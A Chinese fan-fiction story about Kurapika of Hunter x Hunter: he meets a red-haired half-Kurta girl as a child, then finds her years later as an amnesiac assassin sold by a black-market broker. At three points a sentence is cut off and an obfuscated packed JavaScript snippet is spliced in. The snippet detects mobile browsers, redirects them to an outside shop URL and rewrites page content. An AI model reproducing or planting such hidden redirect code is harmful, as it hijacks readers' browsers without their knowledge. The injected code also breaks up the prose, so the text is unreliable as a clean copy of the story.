《[全职猎人]燃烧火红眼的肖像》 1. 招募令x狐狸x她的名字 库库卡小溪旁边那颗谁也不知道会结哪种果子的大果树上挂着一张莎草纸,被风吹得沙拉沙拉响,写在纸上的端正字迹怎么看都像是要乘着这阵风飞走了。 仔细想想,从昨天清晨起,这张纸就挂在树上了,六岁的酷拉皮卡曾两次路过,两次都对这张纸的存在感到好奇。现在是他第三回见到它了,好奇心终于要膨胀到临界点,再加上身旁的派罗也怂恿说要看一看,他总算下定决心,觉得自己必须解开这个谜题才行。 踮起脚,把手臂伸得笔笔直,酷拉皮卡努力将自己八岁的身体变成发酵的面条,抻得好长好长,可惜连纸张的边缘也碰不到。 没有办法,看来是不得不爬上树梢才行了,还好他从不讨厌和树木的亲密接触,再加上还有派罗的小声鼓舞,没怎么费劲,他就拿到了莎草纸。 “上面写了什么?”派罗凑到身旁问他,“我看不清。” “唔。让我看看。” 摊开,清清嗓子,在派罗无比好奇的目光下,酷拉皮卡念出了纸上的内容。 “‘寻找探险家!听说塔西尼山顶的第三个洞窟藏着未知的宝藏,请勇敢的窟卢塔人陪我一同前往寻找!要求:和我差不多年纪。报酬:我还没想好总之你先来见我。会和地点:杉树林最边缘深灰色屋顶、大门上挂着羊毛毯的房子。快来吧快来吧!’然后……就没有了。” 酷拉皮卡把莎草纸翻来覆去地又看了一遍,不得不再次重复他的结论。 “确实是什么都没有了。” 派罗了然般点点头。他的谜题算是解开了,可他却没有露出那种恍然大悟的表情,反倒冒出了更多的困惑。 “是用来骗人的吗?”他问。 长老以前就教育他们,决不能对未知事物抱有百分百的信任——虽然窟卢塔族的大家绝不会做出故意骗人的事情,且他们居住在无人知晓的深山密林之中,但谁也不能担保他们的日常生活里不会有居心叵测之徒的存在。基本的警惕是必须要有的。 话虽如此,酷拉皮卡觉得纸上的内容不像是一个骗局。写在纸上的分明是和他一样的小孩子字迹,而且杉树林的边缘确实有一间深灰色屋顶的房子,到此为止可不是骗人的谎言。而且,那栋房子会让酷拉皮卡想起一件事,以前听妈妈说起过,那栋房子的主人和外乡男人结婚了,有一个和他差不多大的孩子。 说起来,那个外乡男人并非来自附近的村落,而是从更远更远的、外头的世界过来的,是所谓的“民俗学家”——当妈妈说起这个词的时候,酷拉皮卡一点都不明白它的意思。 酷拉皮卡既没去过灰顶的房子,也从没见过那个外乡人。那男人好几年前离开了窟卢塔族的聚集地,是最近一阵才回来的。 好吧,想到这里,酷拉皮卡原本的信任好像要砍半了。 倒也不是觉得外乡人一定怀有坏心思(既然长老都准许他留下了,那他绝对不是什么坏人),只是他一时想不通这是怎么回事而已。 酷拉皮卡放下莎草纸,“派罗,你是怎么想的?” “我呀?”派罗挠挠头,露出一如既往的朴实微笑,“我就觉得好像很有意思。要不要去看看?我们俩一道去的话,就算真的发生奇怪的事情,肯定也不算什么的!” 如果刚才心里还有点顾虑的话,那在听完派罗的想法之后,肯定半点迟疑都不存在了。酷拉皮卡用力点点头,好奇心绝对又要乘着风飞起来了。 从库库卡小溪往南走,踩着快被落叶盖住的小径,用不着太久,就能看到目的地了。灰顶小屋近在眼前。酷拉皮卡第一次发现,原来那栋房子的门上挂着毛毯,还织了小鹿的图案,好可爱。 深呼吸一口气,他敲响大门,有脚步声靠近过来,在吱呀的轻响过后,一个男人探出身来。 这就是传说中的那位外乡人了! 意识到这一点,酷拉皮卡居然忍不住紧张了起来,过分诚实的目光在提心吊胆的那一秒钟不自觉飞快地把外乡人从头到脚扫过一遍,心想,他穿的衣服看起来果然和窟卢塔的大家好不一样。 “早上好。” 外乡人在对他笑,被金丝眼镜盖住了一双绿眼睛也随之眯了起来,说不好是友好还是藏着狡诈。对于外乡人肯定还是要谨慎一点才行的,酷拉皮卡提醒自己。 “请问,你们有什么事吗?” 一下子被问到了来意,酷拉皮卡回过神来,往派罗身边挨近了一点,努力把两人份的勇气并在一起,赶紧举起不久之前摘下来的那张莎草纸。 “我们来当探险家!”他很认真地说。 派罗也在旁边点头。 外乡人露出了稍稍意外的表情,不过很快就被欣喜盖住了。他让两个孩子稍微等等,自己回头转向屋内,呼唤着写下纸条的人。 “狐狸!狐狸!”他这么朝屋里喊,“快起床,你的探险家们上门了!” 没有应声。 酷拉皮卡和派罗在门口站了一会儿——也可能是好一会儿,但不算太久——困意连绵的拖沓脚步踱到了他们面前。和他们差不多年纪的女孩顶着一头乱糟糟的红发出现了,裹着毛毯,眼睛还困倦地眯着,冲着他们俩打了个巨大的哈欠。 果然是和狐狸一样颜色的头发呢。酷拉皮卡听到派罗在他的耳边小声说。 所以,写下了这张莎草纸的人是她吗?还来不及把这话问出口,她的眼睛忽然一下子睁大了。 “你们要和我一起去探险了,对不对?” 她好高兴地说。 被她注视着时,酷拉皮卡不由得愣了愣。好奇怪的眼睛。他想。 她的左眼漾着碧绿,和那个外乡人一样,可右眼却是金色的。截然不同的两种颜色倒映在她的眼眸里,稍稍显得有点突兀。 不过,要是一直盯着别人的眼睛看,未免有点太过不礼貌了。酷拉皮卡僵硬地挪开视线,点了点头。 “嗯。”他说,“我们也想去看看塔西尼山顶的宝藏。” 被叫做狐狸的小姑娘兴奋地不停点头:“好好好!那我们现在就出发吧!啊不对……你们等等我哦!” 说罢,门就关上了,只剩下毛毯上的小鹿在盯着酷拉皮卡和派罗。 “她是不是反悔了,不想去了?”派罗问他,肯定有点沮丧起来了。 “唔……应该不是吧?” 虽说酷拉皮卡也不知道她为什么突然缩回去了,但以她见到他们时那股怎么也藏不住的兴奋劲,实在不像是会临阵脱逃的样子。 果然,只要稍稍等待一会儿,她就出现了——穿上了深蓝色袍子,一头红发梳得得体妥当,神清气爽地跳到了酷拉皮卡和派罗的面前。 “走吧走吧!”她已经迫不及待啦,“探险家们,出发!” 她的口号喊得响亮,声音也嘹亮,这就踏上了去塔西尼山的征途,脚步轻快到几乎要跳起来。外乡人还在后面叮嘱他们早点回来,她不那么认真地挥挥手,一下子跑得没影。 不得不说,她走得确实有点太快了,一下子就把她的探险家小伙伴们丢到了身后。 想要追上她的脚步,其实也不是什么难事,只要加把劲往前冲就好了。酷拉皮卡知道自己可以跟上她的,可他不想把另一个小伙伴落在后头——派罗的腿脚最近好一些了,可还是没办法走得很快。 当察觉到身后的脚步声居然已经完全听不见时,被叫做狐狸的女孩才后知后觉地回头,匆忙一路跑回来,很不好意思地冲他们笑。 “对不起,我太兴奋了。这是我第一次和朋友们出门玩。”她眨眨眼,色泽不同的眼眸中似乎能分别映出酷拉皮卡和派罗的模样,“我们已经是朋友了,对吧?” 该怎么定义“朋友”呢?酷拉皮卡说不好,他暂时还给不出明确的概念。 毋庸置疑的是,他和派罗一定是朋友。他们从出生就认识了,任何时候都聚在一起跑来跑去,玩乐的时间一定比分开的时间还多。如果这才是朋友的话,那么…… 酷拉皮卡挠了挠手背,没好意思说出“我觉得我们好像还不是朋友”这样的话,只道:“我好像没有见过你。” “嗯,是这样没错。” 她放慢了脚步,和他们走在一起。 “我身体不好,之前的好长一段时间都在爸爸的故乡治病,是最近才搬回来的。” “那你见过外面的世界了?”派罗的好奇心浮起来了,“外面是怎样的?” “唔——我觉得没什么特别的吧?我住在和这里差不多偏僻的地方,每天都在修炼一种很奇怪的……技艺?好像叫‘念’还是什么的,我也说不好。反正就是挺没意思的。不过呀不过呀,要回到这里的有一天早上,我看到海边升起了好多好多的热气球——爸爸告诉我那个是热气球。特别厉害,五颜六色的!我好想让妈妈也能看到,可惜妈妈那时候一直不在我身边。爸爸说是因为外面的世界不够安全,他没有自信能够让妈妈也安安全全地暂留在那里,我也每天都得戴着眼罩才行。莫名其妙的。所以我觉得回来棒极啦!不用戴眼罩,也不用做什么累人的修行,多开心,一想到你们天天都过着这么快乐的日子,都要嫉妒你们了!” 她轻快的语调足够证明窟卢塔比爸爸的故乡要好太多,可派罗还是更好奇外界的事情。譬如像是她口中的“热气球”,就是他完全不知道的东西。 “热气球是什么?”他好想知道。 “热气球呀?就是胖胖的、大大的、会飘在天空的一种东西。大概……长这样子?” 她说着,往前蹦跶了几步,跳到一颗树上,摘下了最大的一片叶子,还折了一小段树枝。动手开始叠起来。可还没完工,她忽然哎呀哎呀地叫了起来。 “好痛!”她上蹿下跳,“手指头要掉了!” 派罗一下子紧张起来,“怎么了?” “被叶子划伤了!” “啊!这可不好!” 派罗到处摸手帕,酷拉皮卡也在思考附近能有什么能够疗伤的草药,目光无意间一瞥,才发现她的手指压根没掉,也完全不能被称之为“马上要掉了”——她的指腹上只被划了很小的一道浅粉色口子而已,连血都没冒出来。 叙述与实际的巨大落差害得酷拉皮卡懵了一下。 “这点小伤口也觉得疼吗?”他说这话的时候绝没有阴阳怪气的意思,只是纯粹的困惑。 “嗯!”她用力点头,“我特别怕痛!” “哦……” 不管怎么说,至少是用不着找草药了,派罗掏出来的手帕也可以重新塞回口袋里。过了一小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882964|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿,她可能还没有适应这小小的疼痛,但还是龇牙咧嘴地继续折叠树叶,折出了一个鼓鼓的椭圆形。 “热气球差不多就是这样子的。”她一脸认真地请她的小伙伴们想象,“但是更大一点、更漂亮一点,有各种各样的颜色,还会升到空中。很厉害吧?” 酷拉皮卡试着想象……好像确实挺厉害的。 “总之,我现在健康了,可以回到故乡和窟卢塔的大家一起玩啦!但我不知道该怎么找到朋友,爸爸也不允许我一个人来塔西尼山,一定要让我和同龄人一起去,所以我才挂了那张莎草纸。谢谢你们来找我!我高兴的时候话会很多,你们也得包容我才行!” 说着,她笑起来,咧开嘴的时候,露出了空缺的虎牙。酷拉皮卡忍不住也舔了舔自己的牙齿缺口,软软的,很奇怪的触感。他的后槽牙是前天掉的。 继续往前。 塔西尼山离得不远,而且也不高,山势平缓,就算是像他们这样的六岁小孩也能一路顺利地上去,只有临近山顶的斜坡略微有些陡峭,对派罗来说会是个挑战,但她会比酷拉皮卡更快地伸出手,把落后一步的同伴拉上来。 “好!” 她双手叉腰,好有领导风范。 “现在我们要进洞了,要去的是第三个山顶!一、二……就是这儿了!” 她指着那个最大、最黑、最神秘的洞窟,激动到红发都要翘起来了。 “快进去吧——我打头阵!” 丢下这话,她立刻拨开山洞前的藤蔓,倏地消失在这片深绿与黑色交织的洞窟之中。酷拉皮卡回头看了看派罗。“我们也进去吧,你的腿还好吗?” 派罗冲他眯眼笑,看来一切都好。 那就继续向前吧。 洞窟黑漆漆,还好她带了火把,摇曳的火光照亮岩壁,空气里带着泥土的潮湿气味。 在这种缺少足够光线的环境下,派罗本就不太好的视力通常会变得更加糟糕,只能拽着酷拉皮卡的袍子,慢慢摸索着向前,忽然有什么东西从他脚上爬了过去,却看不真切,吓得他叫了一声。 这声呼唤不算响亮,却也不算微小,大家都听到了。 “怎么了?” “好像有东西……老鼠吗?”派罗自己也不是很确定。 火光闪了闪,一阵微弱的吱吱声忽然靠过来。派罗看到她的手里抓着什么东西。 “是这只老鼠吗?”她问。 一只小小的灰毛老鼠就在她的掌心里。 可能是因为她并没怎么用力,老鼠也没有挣扎,安安静静地待着,看起来居然很乖,甚至略显可爱。 派罗不太确定。他没有真切地见到“罪魁祸首”的模样,也不确定这儿有多少老鼠,不过体型似乎差不多,他便点了点头。 “那我把它放远一点吧,这样它就不会来闹你了。哎,对了,你们觉不觉得老鼠也挺可爱的?毛茸茸的,吱吱叫的时候特别好玩,我好喜欢。真可惜妈妈不喜欢老鼠,不然我就带它回家了。好吧,再见了,毛茸茸的小宝贝,你下次不可以再折腾我的朋友了。” 她带着火光和小老鼠跑远了些,还好很快就回来了。在后续的路途中,老鼠再也没爬上派罗的脚背,看来一定是她的功劳没错。 再往前走上一段路,又有道光透了进来。山顶近在眼前,虽然还得爬上陡坡。 酷拉皮卡用肩膀把派罗顶上去,先行一步的她拉着他上来。派罗感觉到有冷冽的风拂过,稀薄地带着草木的气味。晴朗的天空压在山脉连绵的深绿之上,午后的日光会将林木镀上一层微弱的金光。群鸟飞过时,留下了一串鸣叫。 这是只有在塔西尼山才能看到的风景,也是她想要找到的宝藏。 酷拉皮卡感到自己的心跳好快。他有点喜欢上这个地方了。 既然如此,那一定要对她说声谢谢才行了。 他动了动唇,还来不及说点什么,却先留意到了她的眼睛。她一定也很高兴,眼眸已然染上了火红的绯色——不过,好奇怪,火红色的为什么只是她的右眼? 酷拉皮卡愣了愣,想问的“为什么”没能说出口,“谢谢”也被心跳压住了,脱口而出的话语变成:“你叫什么名字?对了,我叫酷拉皮卡,他是派罗。” 他们一起走了好长的一段路,看到了了不得的景色,可却还不知道对方叫什么。她外乡人的父亲叫她“狐狸”,这肯定不是一个正式的名字——怎么会有人叫狐狸呢? 只要知道了名字,他们肯定就会成为真正的朋友了吧。 或许她也是这么想的,难怪她立刻就笑了起来。 “知道吗,我的名字是爸爸为我取的,在他的故乡,这个词意味着‘重逢’。” 她的声音在遥远山脉的深绿之间回荡。 “所以呀,我叫——” —— —— —— “——十三号,您也可以直接叫她‘十三’。” 便利屋的中介人搓着手,把身旁的红发女性往前推了推,顺势挂上市侩的讨好笑容,瓮声瓮气地对酷拉皮卡说。 “这家伙是我们捡到的第十三个孤儿,干脆就这么叫她了,但名字什么的没那么重要。重要的是,老板,她就是您想要的火红眼。” 2. 火红眼x三明治x尼古丁 火红眼流通在市场上的消息,最早的源头大约可以追溯到三天前,友克鑫黑市的便利屋——可以满足客户一切合法或非法需求的中介公司,地下世界的特产——宣称其持有罕见的单只火红眼,亟待出售。 “这是比纯粹的火红眼更具有价值的商品,除却观赏作用之外具有更为实用的价值,乃我司重要的珍藏之一。哪怕您只怀有百分之一的心动,也请务必下手。这是一旦失去便不可再得的珍宝。附:仅此一只,价高者得。” 意味不明的描述,贪婪的心思却毫不掩饰,倒是让交易变得更简单了。 当消息传到酷拉皮卡耳中时,他最初生出的想法是“谎言”。便利屋的描述太奇怪了,仿佛售卖的真正物品不是火红眼。但那毕竟是和族人的眼睛有关的消息,哪怕真的是陷阱,他也情愿跳进去探下深浅。 所以,现在他站在了这里,友克鑫市郊的简陋小旅馆的最好的套房里,与便利屋派来的中介人杰斯特面对面。据他所说,站在他身旁的女性,就是他想要售卖的火红眼。 不是火红眼标本,而是拥有火红眼的少女,很平静的姿态,看起来全然不关心自己将被售卖的命运。 无论怎么看,她都很年轻。甚至有点太年轻了,大抵还不到二十岁,灰色风衣盖住了纤细的身形,没有翻好的衬衫衣领折在针织背心的领口,她肯定一点都没有发现,任由深红长发披在肩头,只在脑袋右侧扎起一束细细的辫子,让她冰冷的模样多出了些许人味。她低垂着脑袋,碧绿眼眸也垂落,额前的碎发盖住了右眼,只能从发梢的间隙窥见到一点金色。 这双异色的眼睛没有在看着任何人,只注视自己的长靴鞋尖,面容平淡到毫无波动……确切地说,不是表情平淡,而是没有表情。 不管怎么看,她都应该是行走在友克鑫大学的年轻人,而不该是被夹在交易之中的“商品”。 酷拉皮卡感到一阵眩晕——不那么尖锐却也不够平淡的眩晕感,不算明晰但足够切实,已然害他堕入五里雾中。藏在隐形眼镜下的瞳孔一定发生了可以窥见的颤栗。他认识她,他们曾是朋友。 真的,他几乎快要喊出她的名字了,但便利屋的杰斯特喋喋不休,话语先一步追上酷拉皮卡无意识开口的冲动。 “不知道老板您有没有了解过我们便利屋的服务范围,如果您不知道的话,我可以给您简单说明一下——放心,放心,绝不是想要给自己家打广告的意思。只是,如果您对我们的业务有所了解,就能更好地明白这孩子在火红眼之外的真正价值了。” 中介人说着,手掌拍在十三号的后背上,发出很敦实的啪啪的声响。 “首先,您必须知道的是,我们的业务很广泛。性、跑腿代办、安保探险、暗杀,只要您能说出需求,我们必定会调动一切资源为您实现。而在所有业务中,我们最出名的就是护卫和暗杀,并且我们可以在保证利益冲突最小化的情况下完成客户的委托。十三就是专门负责这项工作的,她是个厉害的……那个,叫什么来着……” 他估计是想说个专业名词,却怎么都想不起那词的确切说法了,下意识朝十三投去目光。 十三依然站着,可能完全没有注意到来自杰斯特的求助暗示,视线过分专心地落在鞋尖上,从始至终没有挪动过分毫。 她正在想什么呢?成为了被售卖的物品,她到底怀有怎样的心情呢?酷拉皮卡想要知道,却无法探寻。 “啊!是念能力!对了对了,她是念能力者!”杰斯特终于想起来了,语调都随之变高了一点,“而且是那种愈合能力超级强的念能力者,更妙的是她还感觉不到疼痛,这意味着她不会感到任何恐惧,而且迄今为止居然没有任何一种重伤能够顺利夺走她的性命。很厉害吧?” 酷拉皮卡感到有一股热血冲上大脑,心绪愈发不稳——杰斯特说了一句很普通的话语,但那也是很恐怖的话。 “十三很厉害也很听话。老板,你听说过卡尔玛拉家吗?就是直到三年前都在友克鑫相当活跃的财阀家族。以前我们曾接到过卡尔玛拉的委托,要求护卫那户人家的小儿子,当时这个任务就是交给十三去做的,就算被卡尔玛拉的少爷贬成了掘墓人,也还是认真地在那里干了两年。” 说完了,杰斯特才觉得自己好像不该说这事的。完全是会让商品贬值的发言。 可惜后悔也没用,话都说出来了,实在没办法撤回,只能想想该说点什么作为弥补才好。可惜新的说辞也没想好,却先被身旁的沙沙声打断了思路。 追着噪音的源头看去,原来是十三把手伸进了口袋里,摸出一团被油纸包裹着的东西,摊开,咬了一大口。在无声无息的咀嚼中,漏出了一点肉的香味。酷拉皮卡稍感意外,而杰斯特则是彻底愣住了。 “……你在干嘛?”杰斯特忍不住问。 十三花了三秒钟,意识到他是在询问自己,而不是在和老板对话。 她把嘴里的东西咽下去,诚实地说:“在吃饭。” “我知道你在吃饭,我问的是你干嘛要在这时候吃东西!” 好奇怪,他问的明明是“在干嘛”,讨要的答案却是“为什么这么做”,行动和目的对不上。十三有点不明白他,默默地又咬了一大口油纸包裹的三明治,口齿不清地说,因为她饿了。 还没来得及吃午饭就被他拉过来见潜在顾客,尽管饥饿感还没有强烈到会让她觉得乏力,但不进食就不能达到最好的状态。她做出了决定,必须现在吃掉她放在口袋里的三明治。 十三觉得自己的行动理由很充分,但由于完全没把这番心思变成话语,杰斯特只会觉得她做了不合时宜的事情——就算听了解释他也还是会这么认为的。他可不想在客户的面前丢脸,小声催她快把三明治收回去。 行吧。 十三重新揉起油纸,丢进口袋,摸出香烟,用火柴点燃,尼古丁的味道一下子跑进房间的空气里。 杰斯特更气了。 “不让你吃饭你就开始抽烟了是吗!在老板的面前你能不能像话一点!” 该怎么说呢,一不小心没控制住脾气、在潜在客户面前大呼小叫的他,其实也挺不像话的。 十三眨了眨眼,大概是在分析杰斯特这话的意思。想得有点太认真,她完全忘记要吹灭火柴,狰狞的火舌在几秒钟内吞没了小木棍,转而开始灼烧她的指尖,把皮肤烫成恐怖的深红色,她好像完全没有感觉到,直至失去的助燃物的火焰完全熄灭之后,才“哦”了一声。 看起来是认同了杰斯特的训诫,可她什么也没做,甚至拿起烟又吸了一口。 杰斯特伸手去抢她的烟,“在老板的面前抽什么——” 酷拉皮卡一下子冲过来,把他的手按下去。“她想怎么做都可以。不用阻拦她。” 尊重客户的需求是这一行的圣旨,杰斯特立刻收敛不满,一叠声应着是是是,但心里还是觉得在潜在顾客的面前抽烟太丢人了,侧过头小声地让十三去窗边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882965|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽烟,别影响到客户的健康。她应了声“好”,对指令照单全收,弓着身伏在窗边的小缝,留下一个看起来很佝偻的背影。 酷拉皮卡试图从这道影子中找到熟悉的一切——红发是熟悉的,面容也和记忆中一致,还有那双眼睛。他一定是维瑟拉特。 可是,除此之外的,全都是未知,害他无法产生任何重逢的喜悦,只有空荡荡的孤单回荡在胸腔里。 “你刚才说。”他收回目光,问杰斯特,“她是你们捡到的第十三个孩子。那是什么时候发生的事情?” “这个嘛……四五年前了吧?那时候她就已经很厉害了,可是没有记忆,也说不出自己的本事是从哪里来的。挺怪的吧?” 四五年前吗?那就对不上了。 认识维瑟拉特时,酷拉皮卡六岁,她也一样。四年后,她离奇失踪,而那应该是七年前的事情。如今他们十七岁了,孑然一身的他找到了最后的同胞。 从失踪直到流落黑市,这期间到底发生了什么?好想知道。 久久地想着过去的事,酷拉皮卡好一会儿没有说话,稍显长久的沉默会让杰斯特担心客户是不是改变了主意,赶紧说:“十三很听话,也很厉害,就算抛开火红眼,她也……” 酷拉皮卡直接打断他,“捡到她的时候,你们就知道她是窟卢塔人了吗?” “那没有,火红眼的事情是前不久才发现的,她在执行暗杀任务的时候眼睛变红了,可她自己都不知道这是怎么回事。” “所以你们才提出了本次的交易,是吗?” “没错。” 二杰斯特忍不住又开始搓起手,粗糙的掌心磨出沙沙声。 “谁能想到世上还有活着的火红眼呢?说实在的,谁都会想要得到她的眼睛的。为了避免事态变得太复杂,所以我们才选择早早地将其抛售。只要您买下,想怎么处理这只眼睛都没关系。况且,就算没有那只红眼睛,十三也是很有价值的存在,她的体术很强,每种武器都用得很顺手,作为火红眼的载体,绝对算得上是一个完美的戒托,完全能够……” “注意你的措辞。” 这是第几次酷拉皮卡打断他的话了?无所谓了。 他只觉得藏在镜片下的自己的眼眸也将变得赤红。 “不用再说了,由我买下她。随你出价,我全都接受。只有一个条件——绝不能将她的去向透露给任何人。” “没问题。谢谢你,老板。” 杰斯特笑得和每个贪婪的商人一样,乐呵呵地来握他的手,酷拉皮卡装作没看到,径直向伏在窗前的身影走去。 成交价定为五亿戒尼,是昂贵的价格,但与不久前拍卖会上二十九亿的火红眼相比,似乎也算不上什么了,况且那是活生生的人,他最后的同胞。 与她的距离一点一点缩短,很奇怪,酷拉皮卡感到莫名的恐惧,明明刚才已经度过了同她面对面的时间,他根本没理由感到害怕。 难道是因为近乡情怯吗,尽管他早就失去了名为“故乡”的存在?还是因为那么熟悉的她变得如此陌生,不知该用什么去填平多年未见的隔阂?又或者,其实此刻的心情是欣喜,只是他太不觉得自己的生命中该出现喜悦了,于是好的一切扭转成了尖锐的情绪? 酷拉皮卡没有答案,但最后的一点距离已经被缩短,只要抬起手臂就能触碰到她的红发。 在激荡不止的心音中,他伸出了手。 “……小维?” 3. 外号x坦白地说x爆裂声 “知道吗,我最近发现了一件事。” 三个小脑袋挨在灰顶小屋旁的草堆里,派罗很突然地这么说,话语却停在了半道上,没有继续讲下去,真让人怀疑他是不是故意在卖关子。 维瑟拉特拔掉身旁的一根草穗,缠在小拇指上,用牙齿叼住一头,用点力气拽紧,相当顺利地打了个结实的结。做完了这点无聊的小动作之后,她才看向派罗。 正值午后,日光有些炫目。她眯起金色的那只眼睛,唯独绿色的眸子中映出坐在一起的派罗和酷拉皮卡。 “你发现什么了?”她扑过来,不像是狐狸,倒好似一只兔子了,“是找到了更好玩的去处吗?” 派罗笑笑,摇了摇头,“不是找到了某个地方啦。是发现了关于你的有意思的事。” 维瑟拉特睁开眼,“什么事?” “你的名字里的第一个发音,念的时候要稍稍咬住嘴唇,然后整个口腔都会震动起来。要是把这个音拖得特别长——像这样,‘维维维维维维维’——是不是特别像是虫子在叫?” 听着派罗的话,酷拉皮卡也不自觉地试着念了念。天呐,真的好像虫鸣声。 其实这也不是多么搞笑的事情,可他居然笑不停,连维瑟拉特本人都投来了奇怪的目光。 “要你们老是这么喊我,新长出来的牙齿肯定马上就会掉光的。”她板起面孔吓唬她的小伙伴们,“到时候你们就没有牙齿啦!” 她说得煞有介事,再配上一副正经面孔,好像她的吓唬话语当真会化作现实,但酷拉皮卡一点都没有被她吓到。 “不会的!妈妈告诉我,新长出来的这幅牙齿很坚固,肯定不是嘴唇抖一抖就会松掉的程度,我的牙齿肯定不会因为这种事而掉光光的!” 可能是因为他的发言太有信心了,一下打得维瑟拉特措手不及,缠在小拇指上的草穗都松开了,一下子弹回到地里。她抓抓后脑勺,“是吗?唔……好吧。但这么喊我,是不是有点太长了?可以缩短一点的嘛。” 派罗微微歪着脑袋,“意思是,我们也可以叫你狐狸,是吗?” “不可以。”她好认真,“这是爸爸才能喊的绰号。你们直接喊我维瑟拉特就好了呀。” “可你的名字很长嘛。” 酷拉皮卡抱怨似的说着,仰面倒在草地上。下一秒,佯装生气的维瑟拉特就压上来了。 “你的名字和我一样是四个音节,所以也很长,可我从来都没嫌弃过你呢!”她气呼呼的,“想要我的名字变短一点,那你的名字先变短——就叫你‘酷拉’或者‘皮卡’之类的!” 他不太乐意,“多怪呀!难道我也要叫你‘维瑟’吗,还是‘拉特’?干脆就叫你‘小维’好了!” “如果这是交换的话,那我勉强可以答应!” 那一日的名字,在今日再度念出,酷拉皮卡惊讶于简单的字眼居然只能崎岖地吐露出来,明明他曾无数次呼唤过这个名字。 缓缓地,维瑟拉特——十三号——转过身来。 并不是因为他呼唤了她。纯粹是感觉到一只手搭在了肩上,她才投来视线,如刚才完全一致的平淡面孔,什么也没有说。 多么微妙的时间差。 酷拉皮卡的心跳还是很快,插在心上的那把念力的利刃一定因此而没入得更深,他试着让自己的声音听起来不要有太过鲜明的起伏,却好像还是带着几分不安,“你还记得我吗?” 十三眯起眼,瞳孔倒映中小小的酷拉皮卡被压缩得更加渺小。她薄薄的嘴唇微不可查地动了动。 “酷拉……呃……酷……”十三在这里停下,露出了茫然的表情,“这是对我的测验吗?” “……什么?” “来之前,他和我说过你的名字。” 她用手指捏灭烟头,被烫得好红的指尖指向正在确认款项是否到账的杰斯特。 “但我现在忘记你的名字了。抱歉,老板。他有没有和你说过我的记忆力不好?” “没有。” “好的。”她把烟头弹出窗外,终于站直了身子,向他微微颔首,“您好,我是十三号。” 很普通的问好,却诡异地呛住了酷拉皮卡。他几乎说不出话,花了一点时间才找回自己的声音。 “你好。我是……” 从她肩头滑落的他的手不自觉抽搐了一下,铁链碰撞出冰冷的声音。他握住她的手,像每个初次见面的陌生人,触碰微弱到仿佛没有施加任何力气。 “酷拉皮卡。” 十三飞快地垂下眼眸,看着他的手指,还有缠绕在手背上的锁链。但她很快就收回了目光,没有展露出哪怕半点的好奇。“你好,酷拉老板。” 交易成立。早在他们的手触碰到彼此之前。 走出旅馆时,刺骨的风穿透了酷拉皮卡的西装,他能听到身后长发飞扬的声音。 替自家便利屋赚了一大笔,杰斯特神采飞扬,说着要回去通知喜讯,早早地就离开了,只余下被售出的火红眼和她的所有者一同走在这条狭长的小巷。爬满青苔的砖墙上贴着通缉令,一张张凶神恶煞的面孔从视线的角落掠过。但无需在意,价值千万的恶徒可不是每天都能见到的。 尽管一起走在相同的道路上,酷拉皮卡总觉得自己像是孤身前行。十三的脚步声太轻了,巧妙地与他保持着一步的距离,嗅不到她身上香水的味道,说到底她根本没有任何气味。酷拉皮卡忍不住频频回头,重复了几次的动作只是为了确认她的存在。还好,她一直都在那里。 大概在走过了十步之后,她的存在感终于提升了一些——听到了沙拉沙拉的细小声响。 她摸出那个没吃完的三明治,继续啃起来。酷拉皮卡停住脚步,她也停下了。 “要找个地方坐着吃饭吗?”他问。 十三想了想,摇头,“不用。” “那就站着吃吧,可以吗?我不希望你被呛着。” “可以。” 站在肮脏的墙下,无声的咀嚼和油纸的沙沙声。她不说话,明明以前是话很多的小孩。 酷拉皮卡忍不住想要出声。 “你在吃什么?” “三明治。” 这还挺一目了然的。他又问:“是什么样的三明治?” “鸡肉。” “好吃吗?” “能吃。” 真像是在推木箱,推一下才会动一下。风也应景地吹过来,依旧刺骨。 酷拉皮卡缩了缩肩膀,对她一笑,“有点冷,不是吗?” 她想了想才说:“是吧。” 对话又中断了。三明治也吃完,她摸出烟盒,把最后一支香烟夹在指尖。烧伤的痕迹那么显眼。 “疼吗?我是说你的手指。” 她说:“没有感觉。” 她很按部就班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882966|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只给出被询问的回答。酷拉皮卡不想说自己感到了无力,但这的确不是他想要的重逢。他以为会是……好吧,他也没想过重逢会是怎样的,因为他根本没料想到还会见到维瑟拉特。他的情绪和期待全都没有准备好,正要探出头来,却先一步被冰冷的事实浇灭了。 在失意扩散之前,似乎感觉到了她的视线落在自己的手上。十三看了一眼他的锁链——还在旅馆房间时,她也做了一样的行为。 是很好奇吗?酷拉皮卡想要问她,在此之前,她却主动出声了。 真难得。箱子自己动了。 